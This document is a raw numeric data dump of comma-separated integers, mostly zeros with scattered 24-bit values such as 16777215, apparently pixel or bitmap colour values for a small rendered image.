0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777215,16777179,9452032,0,0,102,11993087,16777215,16777215,16777179,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777179,9452032,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14399078,3801088,0,0,0,0,0,0,0,0,0,14992,11983835,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16777215,16767888,6684672,0,0,0,58,9483995,14399120,3801088,0,3838134,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,6731519,16777215,16777215,14389306,0,0,0,0,0,0,102,11983871,16777215,16767926,9463354,102,11993087,16767888,3801088,0,0,0,58,6721718,9463354,0,0,3827344,11964518,3801088,0,0,0,0,0,26294,16777215,14389350,6721755,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,102,11993087,16777215,16777215,11953664,0,0,0,0,0,0,14950,9483920,6699520,0,58,6721718,9463354,0,0,0,0,0,14992,11974288,6699520,0,0,0,0,0,0,0,0,102,9493503,16777215,16777179,11953722,58,9493503,16777142,6684672,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,6731483,14408667,14408630,6699578,0,6731519,16777142,6684672,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,9493503,16777215,16777215,16758374,0,0,0,0,0,0,58,6721718,9463354,0,0,3827344,11964518,3801088,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11964518,3801088,0,14950,9483920,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777215,11953664,58,9493503,16777215,14389306,0,0,0,0,0,26294,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,14950,11983871,16777215,16777215,14399078,3801088,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,14992,14417919,16777215,16767926,9463354,3815994,0,0,0,0,14906,3816038,9483995,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,14950,11983835,16777215,16777215,16767963,11953722,0,0,0,0,0,0,3816038,11983835,16777215,16777215,14389306,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,16767963,11953722,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,3801088,0,0,0,0,0,3815994,3815936,0,0,102,11993087,16777179,9452032,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,58,3827344,11983835,14417919,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,14950,9483995,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,14408630,9463354,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16758374,0,0,26294,16777215,16777215,16777142,6684672,0,3838171,16777215,16777215,14389306,0,0,0,26294,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,14408630,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,26294,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16758374,6731519,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684774,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6699578,3815994,3815994,3815994,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14906,3815994,3815994,3815994,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14389350,3815994,3815936,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3815994,3827382,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,